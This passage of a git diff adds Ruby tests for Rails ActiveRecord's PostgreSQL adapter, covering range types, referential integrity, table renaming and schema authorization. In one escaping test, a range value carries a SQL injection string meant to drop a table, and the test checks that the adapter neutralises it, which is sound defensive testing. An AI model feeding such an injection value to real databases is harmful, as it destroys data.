+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
+      assert_nil @empty_range.tstz_range
+    end
+
+    def test_custom_range_values
+      assert_equal 0.5..0.7, @first_range.float_range
+      assert_equal 0.5...0.7, @second_range.float_range
+      assert_equal 0.5...Float::INFINITY, @third_range.float_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.float_range)
+      assert_nil @empty_range.float_range
+    end
+
+    def test_timezone_awareness_tzrange
+      tz = "Pacific Time (US & Canada)"
+
+      in_time_zone tz do
+        PostgresqlRange.reset_column_information
+        time_string = Time.current.to_s
+        time = Time.zone.parse(time_string)
+
+        record = PostgresqlRange.new(tstz_range: time_string..time_string)
+        assert_equal time..time, record.tstz_range
+        assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.begin.time_zone
+
+        record.save!
+        record.reload
+
+        assert_equal time..time, record.tstz_range
+        assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.begin.time_zone
+      end
+    end
+
+    def test_create_tstzrange
+      tstzrange = Time.parse("2010-01-01 14:30:00 +0100")...Time.parse("2011-02-02 14:30:00 CDT")
+      round_trip(@new_range, :tstz_range, tstzrange)
+      assert_equal @new_range.tstz_range, tstzrange
+      assert_equal @new_range.tstz_range, Time.parse("2010-01-01 13:30:00 UTC")...Time.parse("2011-02-02 19:30:00 UTC")
+    end
+
+    def test_update_tstzrange
+      assert_equal_round_trip(@first_range, :tstz_range,
+                              Time.parse("2010-01-01 14:30:00 CDT")...Time.parse("2011-02-02 14:30:00 CET"))
+      assert_nil_round_trip(@first_range, :tstz_range,
+                            Time.parse("2010-01-01 14:30:00 +0100")...Time.parse("2010-01-01 13:30:00 +0000"))
+    end
+
+    def test_create_tsrange
+      tz = ::ActiveRecord::Base.default_timezone
+      assert_equal_round_trip(@new_range, :ts_range,
+                              Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+    end
+
+    def test_update_tsrange
+      tz = ::ActiveRecord::Base.default_timezone
+      assert_equal_round_trip(@first_range, :ts_range,
+                              Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+      assert_nil_round_trip(@first_range, :ts_range,
+                            Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0))
+    end
+
+    def test_timezone_awareness_tsrange
+      tz = "Pacific Time (US & Canada)"
+
+      in_time_zone tz do
+        PostgresqlRange.reset_column_information
+        time_string = Time.current.to_s
+        time = Time.zone.parse(time_string)
+
+        record = PostgresqlRange.new(ts_range: time_string..time_string)
+        assert_equal time..time, record.ts_range
+        assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone
+
+        record.save!
+        record.reload
+
+        assert_equal time..time, record.ts_range
+        assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone
+      end
+    end
+
+    def test_create_numrange
+      assert_equal_round_trip(@new_range, :num_range,
+                              BigDecimal.new("0.5")...BigDecimal.new("1"))
+    end
+
+    def test_update_numrange
+      assert_equal_round_trip(@first_range, :num_range,
+                              BigDecimal.new("0.5")...BigDecimal.new("1"))
+      assert_nil_round_trip(@first_range, :num_range,
+                            BigDecimal.new("0.5")...BigDecimal.new("0.5"))
+    end
+
+    def test_create_daterange
+      assert_equal_round_trip(@new_range, :date_range,
+                              Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true))
+    end
+
+    def test_update_daterange
+      assert_equal_round_trip(@first_range, :date_range,
+                              Date.new(2012, 2, 3)...Date.new(2012, 2, 10))
+      assert_nil_round_trip(@first_range, :date_range,
+                            Date.new(2012, 2, 3)...Date.new(2012, 2, 3))
+    end
+
+    def test_create_int4range
+      assert_equal_round_trip(@new_range, :int4_range, Range.new(3, 50, true))
+    end
+
+    def test_update_int4range
+      assert_equal_round_trip(@first_range, :int4_range, 6...10)
+      assert_nil_round_trip(@first_range, :int4_range, 3...3)
+    end
+
+    def test_create_int8range
+      assert_equal_round_trip(@new_range, :int8_range, Range.new(30, 50, true))
+    end
+
+    def test_update_int8range
+      assert_equal_round_trip(@first_range, :int8_range, 60000...10000000)
+      assert_nil_round_trip(@first_range, :int8_range, 39999...39999)
+    end
+
+    def test_exclude_beginning_for_subtypes_without_succ_method_is_not_supported
+      assert_raises(ArgumentError) { PostgresqlRange.create!(num_range: "(0.1, 0.2]") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(float_range: "(0.5, 0.7]") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(int4_range: "(1, 10]") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(int8_range: "(10, 100]") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(date_range: "(''2012-01-02'', ''2012-01-04'']") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(ts_range: "(''2010-01-01 14:30'', ''2011-01-01 14:30'']") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(tstz_range: "(''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']") }
+    end
+
+    def test_where_by_attribute_with_range
+      range = 1..100
+      record = PostgresqlRange.create!(int4_range: range)
+      assert_equal record, PostgresqlRange.where(int4_range: range).take
+    end
+
+    def test_update_all_with_ranges
+      PostgresqlRange.create!
+
+      PostgresqlRange.update_all(int8_range: 1..100)
+
+      assert_equal 1...101, PostgresqlRange.first.int8_range
+    end
+
+    def test_ranges_correctly_escape_input
+      range = "-1,2]'; DROP TABLE postgresql_ranges; --".."a"
+      PostgresqlRange.update_all(int8_range: range)
+
+      assert_nothing_raised do
+        PostgresqlRange.first
+      end
+    end
+
+    private
+      def assert_equal_round_trip(range, attribute, value)
+        round_trip(range, attribute, value)
+        assert_equal value, range.public_send(attribute)
+      end
+
+      def assert_nil_round_trip(range, attribute, value)
+        round_trip(range, attribute, value)
+        assert_nil range.public_send(attribute)
+      end
+
+      def round_trip(range, attribute, value)
+        range.public_send "#{attribute}=", value
+        assert range.save
+        assert range.reload
+      end
+
+      def insert_range(values)
+        @connection.execute <<-SQL
+          INSERT INTO postgresql_ranges (
+            id,
+            date_range,
+            num_range,
+            ts_range,
+            tstz_range,
+            int4_range,
+            int8_range,
+            float_range
+          ) VALUES (
+            #{values[:id]},
+            '#{values[:date_range]}',
+            '#{values[:num_range]}',
+            '#{values[:ts_range]}',
+            '#{values[:tstz_range]}',
+            '#{values[:int4_range]}',
+            '#{values[:int8_range]}',
+            '#{values[:float_range]}'
+          )
+        SQL
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb b/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb
new file mode 100644
index 0000000000..0bcc214c24
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+class PostgreSQLReferentialIntegrityTest < ActiveRecord::PostgreSQLTestCase
+  self.use_transactional_tests = false
+
+  include ConnectionHelper
+
+  IS_REFERENTIAL_INTEGRITY_SQL = lambda do |sql|
+    sql.match(/DISABLE TRIGGER ALL/) || sql.match(/ENABLE TRIGGER ALL/)
+  end
+
+  module MissingSuperuserPrivileges
+    def execute(sql)
+      if IS_REFERENTIAL_INTEGRITY_SQL.call(sql)
+        super "BROKEN;" rescue nil # put transaction in broken state
+        raise ActiveRecord::StatementInvalid, "PG::InsufficientPrivilege"
+      else
+        super
+      end
+    end
+  end
+
+  module ProgrammerMistake
+    def execute(sql)
+      if IS_REFERENTIAL_INTEGRITY_SQL.call(sql)
+        raise ArgumentError, "something is not right."
+      else
+        super
+      end
+    end
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def teardown
+    reset_connection
+    if ActiveRecord::Base.connection.is_a?(MissingSuperuserPrivileges)
+      raise "MissingSuperuserPrivileges patch was not removed"
+    end
+  end
+
+  def test_should_reraise_invalid_foreign_key_exception_and_show_warning
+    @connection.extend MissingSuperuserPrivileges
+
+    warning = capture(:stderr) do
+      e = assert_raises(ActiveRecord::InvalidForeignKey) do
+        @connection.disable_referential_integrity do
+          raise ActiveRecord::InvalidForeignKey, "Should be re-raised"
+        end
+      end
+      assert_equal "Should be re-raised", e.message
+    end
+    assert_match (/WARNING: Rails was not able to disable referential integrity/), warning
+    assert_match (/cause: PG::InsufficientPrivilege/), warning
+  end
+
+  def test_does_not_print_warning_if_no_invalid_foreign_key_exception_was_raised
+    @connection.extend MissingSuperuserPrivileges
+
+    warning = capture(:stderr) do
+      e = assert_raises(ActiveRecord::StatementInvalid) do
+        @connection.disable_referential_integrity do
+          raise ActiveRecord::StatementInvalid, "Should be re-raised"
+        end
+      end
+      assert_equal "Should be re-raised", e.message
+    end
+    assert warning.blank?, "expected no warnings but got:\n#{warning}"
+  end
+
+  def test_does_not_break_transactions
+    @connection.extend MissingSuperuserPrivileges
+
+    @connection.transaction do
+      @connection.disable_referential_integrity do
+        assert_transaction_is_not_broken
+      end
+      assert_transaction_is_not_broken
+    end
+  end
+
+  def test_does_not_break_nested_transactions
+    @connection.extend MissingSuperuserPrivileges
+
+    @connection.transaction do
+      @connection.transaction(requires_new: true) do
+        @connection.disable_referential_integrity do
+          assert_transaction_is_not_broken
+        end
+      end
+      assert_transaction_is_not_broken
+    end
+  end
+
+  def test_only_catch_active_record_errors_others_bubble_up
+    @connection.extend ProgrammerMistake
+
+    assert_raises ArgumentError do
+      @connection.disable_referential_integrity {}
+    end
+  end
+
+  private
+
+    def assert_transaction_is_not_broken
+      assert_equal 1, @connection.select_value("SELECT 1")
+    end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/rename_table_test.rb b/activerecord/test/cases/adapters/postgresql/rename_table_test.rb
new file mode 100644
index 0000000000..100d247113
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/rename_table_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class PostgresqlRenameTableTest < ActiveRecord::PostgreSQLTestCase
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :before_rename, force: true
+  end
+
+  def teardown
+    @connection.drop_table "before_rename", if_exists: true
+    @connection.drop_table "after_rename", if_exists: true
+  end
+
+  test "renaming a table also renames the primary key index" do
+    # sanity check
+    assert_equal 1, num_indices_named("before_rename_pkey")
+    assert_equal 0, num_indices_named("after_rename_pkey")
+
+    @connection.rename_table :before_rename, :after_rename
+
+    assert_equal 0, num_indices_named("before_rename_pkey")
+    assert_equal 1, num_indices_named("after_rename_pkey")
+  end
+
+  private
+
+    def num_indices_named(name)
+      @connection.execute(<<-SQL).values.length
+        SELECT 1 FROM "pg_index"
+          JOIN "pg_class" ON "pg_index"."indexrelid" = "pg_class"."oid"
+          WHERE "pg_class"."relname" = '#{name}'
+      SQL
+    end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
new file mode 100644
index 0000000000..fcb0aec81b
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class SchemaThing < ActiveRecord::Base
+end
+
+class SchemaAuthorizationTest < ActiveRecord::PostgreSQLTestCase
+  self.use_transactional_tests = false
+
+  TABLE_NAME = "schema_things"
+  COLUMNS = [
+    "id serial primary key",
+    "name character varying(50)"
+  ]
+  USERS = ["rails_pg_schema_user1", "rails_pg_schema_user2"]
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.execute "SET search_path TO '$user',public"
+    set_session_auth
+    USERS.each do |u|
+      @connection.execute "CREATE USER #{u}" rescue nil
+      @connection.execute "CREATE SCHEMA AUTHORIZATION #{u}" rescue nil
+      set_session_auth u
+      @connection.execute "CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+      @connection.execute "INSERT INTO #{TABLE_NAME} (name) VALUES ('#{u}')"
+      set_session_auth
+    end
+  end
+
+  teardown do
+    set_session_auth
+    @connection.execute "RESET search_path"
+    USERS.each do |u|
+      @connection.drop_schema u
+      @connection.execute "DROP USER #{u}"
+    end
+  end
+
+  def test_schema_invisible
+    assert_raise(ActiveRecord::StatementInvalid) do
+      set_session_auth
+      @connection.execute "SELECT * FROM #{TABLE_NAME}"
+    end
+  end
+
+  def test_session_auth=
+    assert_raise(ActiveRecord::StatementInvalid) do
+      @connection.session_auth = "DEFAULT"
+      @connection.execute "SELECT * FROM #{TABLE_NAME}"
+    end
+  end
+
+  def test_setting_auth_clears_stmt_cache
+    assert_nothing_raised do
+      set_session_auth
+      USERS.each do |u|
+        set_session_auth u
+        assert_equal u, @connection.select_value("SELECT name FROM #{TABLE_NAME} WHERE id = 1")
+        set_session_auth
+      end
+    end
+  end
+
+  if ActiveRecord::Base.connection.prepared_statements
+    def test_auth_with_bind
+      assert_nothing_raised do
+        set_session_auth
+        USERS.each do |u|
+          @connection.clear_cache!
+          set_session_auth u
+          assert_equal u, @connection.select_value("SELECT name FROM #{TABLE_NAME} WHERE id = $1", "SQL", [bind_param(1)])
+          set_session_auth
+        end
+      end
+    end
+  end
+
+  def test_sequence_schema_caching
+    assert_nothing_raised do
+      USERS.each do |u|
+        set_session_auth u
+        st = SchemaThing.new name: "TEST1"
+        st.save!
+        st = SchemaThing.new id: 5, name: "TEST2"
+        st.save!
+        set_session_auth
+      end
+    end
+  end
+
+  def test_tables_in_current_schemas
+    assert_not_includes @connection.tables, TABLE_NAME
+    USERS.each do |u|
+      set_session_auth u
+      assert_includes @connection.tables, TABLE_NAME
+      set_session_auth
+    end
+  end
+
+  private
+    def set_session_auth(auth = nil)
+      @connection.session_auth = auth || "default"
+    end
+
+    def bind_param(value)
+      ActiveRecord::Relation::QueryAttribute.new(nil, value, ActiveRecord::Type::Value.new)
+    end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb
new file mode 100644
index 0000000000..5a64da028b
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb
@@ -0,0 +1,592 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/default"
+require "support/schema_dumping_helper"
+
+module PGSchemaHelper
+  def with_schema_search_path(schema_search_path)
+    @connection.schema_search_path = schema_search_path
+    @connection.schema_cache.clear!
+    yield if block_given?
+  ensure
+    @connection.schema_search_path = "'$user', public"
+    @connection.schema_cache.clear!
+  end
+end
+
+class SchemaTest < ActiveRecord::PostgreSQLTestCase
+  include PGSchemaHelper
+  self.use_transactional_tests = false
+
+  SCHEMA_NAME = "test_schema"
+  SCHEMA2_NAME = "test_schema2"
+  TABLE_NAME = "things"
+  CAPITALIZED_TABLE_NAME = "Things"
+  INDEX_A_NAME = "a_index_things_on_name"
+  INDEX_B_NAME = "b_index_things_on_different_columns_in_each_schema"
+  INDEX_C_NAME = "c_index_full_text_search"
+  INDEX_D_NAME = "d_index_things_on_description_desc"
+  INDEX_E_NAME = "e_index_things_on_name_vector"
+  INDEX_A_COLUMN = "name"
+  INDEX_B_COLUMN_S1 = "email"
+  INDEX_B_COLUMN_S2 = "moment"
+  INDEX_C_COLUMN = "(to_tsvector('english', coalesce(things.name, '')))"
+  INDEX_D_COLUMN = "description"
+  INDEX_E_COLUMN = "name_vector"
+  COLUMNS = [
+    "id integer",
+    "name character varying(50)",
+    "email character varying(50)",
+    "description character varying(100)",
+    "name_vector tsvector",
+    "moment timestamp without time zone default now()"
+  ]
+  PK_TABLE_NAME = "table_with_pk"
+  UNMATCHED_SEQUENCE_NAME = "unmatched_primary_key_default_value_seq"
+  UNMATCHED_PK_TABLE_NAME = "table_with_unmatched_sequence_for_pk"
+
+  class Thing1 < ActiveRecord::Base
+    self.table_name = "test_schema.things"
+  end
+
+  class Thing2 < ActiveRecord::Base
+    self.table_name = "test_schema2.things"
+  end
+
+  class Thing3 < ActiveRecord::Base
+    self.table_name = 'test_schema."things.table"'
+  end
+
+  class Thing4 < ActiveRecord::Base
+    self.table_name = 'test_schema."Things"'
+  end
+
+  class Thing5 < ActiveRecord::Base
+    self.table_name = "things"
+  end
+
+  class Song < ActiveRecord::Base
+    self.table_name = "music.songs"
+    has_and_belongs_to_many :albums
+  end
+
+  class Album < ActiveRecord::Base
+    self.table_name = "music.albums"
+    has_and_belongs_to_many :songs
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+    @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})"
+    @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{CAPITALIZED_TABLE_NAME}\" (#{COLUMNS.join(',')})"
+    @connection.execute "CREATE SCHEMA #{SCHEMA2_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+    @connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_A_COLUMN});"
+    @connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_A_COLUMN});"
+    @connection.execute "CREATE INDEX #{INDEX_B_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_B_COLUMN_S1});"
+    @connection.execute "CREATE INDEX #{INDEX_B_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_B_COLUMN_S2});"
+    @connection.execute "CREATE INDEX #{INDEX_C_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING gin (#{INDEX_C_COLUMN});"
+    @connection.execute "CREATE INDEX #{INDEX_C_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING gin (#{INDEX_C_COLUMN});"
+    @connection.execute "CREATE INDEX #{INDEX_D_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_D_COLUMN} DESC);"
+    @connection.execute "CREATE INDEX #{INDEX_D_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_D_COLUMN} DESC);"
+    @connection.execute "CREATE INDEX #{INDEX_E_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING gin (#{INDEX_E_COLUMN});"
+    @connection.execute "CREATE INDEX #{INDEX_E_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING gin (#{INDEX_E_COLUMN});"
+    @connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{PK_TABLE_NAME} (id serial primary key)"
+    @connection.execute "CREATE TABLE #{SCHEMA2_NAME}.#{PK_TABLE_NAME} (id serial primary key)"
+    @connection.execute "CREATE SEQUENCE #{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
+    @connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME} (id integer NOT NULL DEFAULT nextval('#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}'::regclass), CONSTRAINT unmatched_pkey PRIMARY KEY (id))"
+  end
+
+  teardown do
+    @connection.drop_schema SCHEMA2_NAME, if_exists: true
+    @connection.drop_schema SCHEMA_NAME, if_exists: true
+  end
+
+  def test_schema_names
+    assert_equal ["public", "test_schema", "test_schema2"], @connection.schema_names
+  end
+
+  def test_create_schema
+    begin
+      @connection.create_schema "test_schema3"
+      assert @connection.schema_names.include? "test_schema3"
+    ensure
+      @connection.drop_schema "test_schema3"
+    end
+  end
+
+  def test_raise_create_schema_with_existing_schema
+    begin
+      @connection.create_schema "test_schema3"
+      assert_raises(ActiveRecord::StatementInvalid) do
+        @connection.create_schema "test_schema3"
+      end
+    ensure
+      @connection.drop_schema "test_schema3"
+    end
+  end
+
+  def test_drop_schema
+    begin
+      @connection.create_schema "test_schema3"
+    ensure
+      @connection.drop_schema "test_schema3"
+    end
+    assert_not_includes @connection.schema_names, "test_schema3"
+  end
+
+  def test_drop_schema_if_exists
+    @connection.create_schema "some_schema"
+    assert_includes @connection.schema_names, "some_schema"
+    @connection.drop_schema "some_schema", if_exists: true
+    assert_not_includes @connection.schema_names, "some_schema"
+  end
+
+  def test_habtm_table_name_with_schema
+    ActiveRecord::Base.connection.drop_schema "music", if_exists: true
+    ActiveRecord::Base.connection.create_schema "music"
+    ActiveRecord::Base.connection.execute <<-SQL
+      CREATE TABLE music.albums (id serial primary key);
+      CREATE TABLE music.songs (id serial primary key);
+      CREATE TABLE music.albums_songs (album_id integer, song_id integer);
+    SQL
+
+    song = Song.create
+    Album.create
+    assert_equal song, Song.includes(:albums).references(:albums).first
+  ensure
+    ActiveRecord::Base.connection.drop_schema "music", if_exists: true
+  end
+
+  def test_drop_schema_with_nonexisting_schema
+    assert_raises(ActiveRecord::StatementInvalid) do
+      @connection.drop_schema "idontexist"
+    end
+
+    assert_nothing_raised do
+      @connection.drop_schema "idontexist", if_exists: true
+    end
+  end
+
+  def test_raise_wrapped_exception_on_bad_prepare
+    assert_raises(ActiveRecord::StatementInvalid) do
+      @connection.exec_query "select * from developers where id = ?", "sql", [bind_param(1)]
+    end
+  end
+
+  if ActiveRecord::Base.connection.prepared_statements
+    def test_schema_change_with_prepared_stmt
+      altered = false
+      @connection.exec_query "select * from developers where id = $1", "sql", [bind_param(1)]
+      @connection.exec_query "alter table developers add column zomg int", "sql", []
+      altered = true
+      @connection.exec_query "select * from developers where id = $1", "sql", [bind_param(1)]
+    ensure
+      # We are not using DROP COLUMN IF EXISTS because that syntax is only
+      # supported by pg 9.X
+      @connection.exec_query("alter table developers drop column zomg", "sql", []) if altered
+    end
+  end
+
+  def test_data_source_exists?
+    [Thing1, Thing2, Thing3, Thing4].each do |klass|
+      name = klass.table_name
+      assert @connection.data_source_exists?(name), "'#{name}' data_source should exist"
+    end
+  end
+
+  def test_data_source_exists_when_on_schema_search_path
+    with_schema_search_path(SCHEMA_NAME) do
+      assert(@connection.data_source_exists?(TABLE_NAME), "data_source should exist and be found")
+    end
+  end
+
+  def test_data_source_exists_when_not_on_schema_search_path
+    with_schema_search_path("PUBLIC") do
+      assert(!@connection.data_source_exists?(TABLE_NAME), "data_source exists but should not be found")
+    end
+  end
+
+  def test_data_source_exists_wrong_schema
+    assert(!@connection.data_source_exists?("foo.things"), "data_source should not exist")
+  end
+
+  def test_data_source_exists_quoted_names
+    [ %("#{SCHEMA_NAME}"."#{TABLE_NAME}"), %(#{SCHEMA_NAME}."#{TABLE_NAME}"), %(#{SCHEMA_NAME}."#{TABLE_NAME}")].each do |given|
+      assert(@connection.data_source_exists?(given), "data_source should exist when specified as #{given}")
+    end
+    with_schema_search_path(SCHEMA_NAME) do
+      given = %("#{TABLE_NAME}")
+      assert(@connection.data_source_exists?(given), "data_source should exist when specified as #{given}")
+    end
+  end
+
+  def test_data_source_exists_quoted_table
+    with_schema_search_path(SCHEMA_NAME) do
+      assert(@connection.data_source_exists?('"things.table"'), "data_source should exist")
+    end
+  end
+
+  def test_with_schema_prefixed_table_name
+    assert_nothing_raised do
+      assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{TABLE_NAME}")
+    end
+  end
+
+  def test_with_schema_prefixed_capitalized_table_name
+    assert_nothing_raised do
+      assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{CAPITALIZED_TABLE_NAME}")
+    end
+  end
+
+  def test_with_schema_search_path
+    assert_nothing_raised do
+      with_schema_search_path(SCHEMA_NAME) do
+        assert_equal COLUMNS, columns(TABLE_NAME)
+      end
+    end
+  end
+
+  def test_proper_encoding_of_table_name
+    assert_equal '"table_name"', @connection.quote_table_name("table_name")
+    assert_equal '"table.name"', @connection.quote_table_name('"table.name"')
+    assert_equal '"schema_name"."table_name"', @connection.quote_table_name("schema_name.table_name")
+    assert_equal '"schema_name"."table.name"', @connection.quote_table_name('schema_name."table.name"')
+    assert_equal '"schema.name"."table_name"', @connection.quote_table_name('"schema.name".table_name')
+    assert_equal '"schema.name"."table.name"', @connection.quote_table_name('"schema.name"."table.name"')
+  end
+
+  def test_classes_with_qualified_schema_name
+    assert_equal 0, Thing1.count
+    assert_equal 0, Thing2.count
+    assert_equal 0, Thing3.count
+    assert_equal 0, Thing4.count
+
+    Thing1.create(id: 1, name: "thing1", email: "thing1@localhost", moment: Time.now)
+    assert_equal 1, Thing1.count
+    assert_equal 0, Thing2.count
+    assert_equal 0, Thing3.count
+    assert_equal 0, Thing4.count
+
+    Thing2.create(id: 1, name: "thing1", email: "thing1@localhost", moment: Time.now)
+    assert_equal 1, Thing1.count
+    assert_equal 1, Thing2.count
+    assert_equal 0, Thing3.count
+    assert_equal 0, Thing4.count
+
+    Thing3.create(id: 1, name: "thing1", email: "thing1@localhost", moment: Time.now)
+    assert_equal 1, Thing1.count
+    assert_equal 1, Thing2.count
+    assert_equal 1, Thing3.count
+    assert_equal 0, Thing4.count
+
+    Thing4.create(id: 1, name: "thing1", email: "thing1@localhost", moment: Time.now)
+    assert_equal 1, Thing1.count
+    assert_equal 1, Thing2.count
+    assert_equal 1, Thing3.count
+    assert_equal 1, Thing4.count
+  end
+
+  def test_raise_on_unquoted_schema_name
+    assert_raises(ActiveRecord::StatementInvalid) do
+      with_schema_search_path "$user,public"
+    end
+  end
+
+  def test_without_schema_search_path
+    assert_raises(ActiveRecord::StatementInvalid) { columns(TABLE_NAME) }
+  end
+
+  def test_ignore_nil_schema_search_path
+    assert_nothing_raised { with_schema_search_path nil }
+  end
+
+  def test_index_name_exists
+    with_schema_search_path(SCHEMA_NAME) do
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_A_NAME)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_B_NAME)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_C_NAME)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_D_NAME)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME)
+      assert_not @connection.index_name_exists?(TABLE_NAME, "missing_index")
+    end
+  end
+
+  def test_dump_indexes_for_schema_one
+    do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN, INDEX_E_COLUMN)
+  end
+
+  def test_dump_indexes_for_schema_two
+    do_dump_index_tests_for_schema(SCHEMA2_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S2, INDEX_D_COLUMN, INDEX_E_COLUMN)
+  end
+
+  def test_dump_indexes_for_schema_multiple_schemas_in_search_path
+    do_dump_index_tests_for_schema("public, #{SCHEMA_NAME}", INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN, INDEX_E_COLUMN)
+  end
+
+  def test_dump_indexes_for_table_with_scheme_specified_in_name
+    indexes = @connection.indexes("#{SCHEMA_NAME}.#{TABLE_NAME}")
+    assert_equal 5, indexes.size
+  end
+
+  def test_with_uppercase_index_name
+    @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+
+    with_schema_search_path SCHEMA_NAME do
+      assert_nothing_raised { @connection.remove_index "things", name: "things_Index" }
+    end
+  end
+
+  def test_remove_index_when_schema_specified
+    @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+    assert_nothing_raised { @connection.remove_index "things", name: "#{SCHEMA_NAME}.things_Index" }
+
+    @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+    assert_nothing_raised { @connection.remove_index "#{SCHEMA_NAME}.things", name: "things_Index" }
+
+    @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+    assert_nothing_raised { @connection.remove_index "#{SCHEMA_NAME}.things", name: "#{SCHEMA_NAME}.things_Index" }
+
+    @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+    assert_raises(ArgumentError) { @connection.remove_index "#{SCHEMA2_NAME}.things", name: "#{SCHEMA_NAME}.things_Index" }
+  end
+
+  def test_primary_key_with_schema_specified
+    [
+      %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}"),
+      %(#{SCHEMA_NAME}."#{PK_TABLE_NAME}"),
+      %(#{SCHEMA_NAME}.#{PK_TABLE_NAME})
+    ].each do |given|
+      assert_equal "id", @connection.primary_key(given), "primary key should be found when table referenced as #{given}"
+    end
+  end
+
+  def test_primary_key_assuming_schema_search_path
+    with_schema_search_path("#{SCHEMA_NAME}, #{SCHEMA2_NAME}") do
+      assert_equal "id", @connection.primary_key(PK_TABLE_NAME), "primary key should be found"
+    end
+  end
+
+  def test_pk_and_sequence_for_with_schema_specified
+    pg_name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name
+    [
+      %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}"),
+      %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
+    ].each do |given|
+      pk, seq = @connection.pk_and_sequence_for(given)
+      assert_equal "id", pk, "primary key should be found when table referenced as #{given}"
+      assert_equal pg_name.new(SCHEMA_NAME, "#{PK_TABLE_NAME}_id_seq"), seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}")
+      assert_equal pg_name.new(SCHEMA_NAME, UNMATCHED_SEQUENCE_NAME), seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
+    end
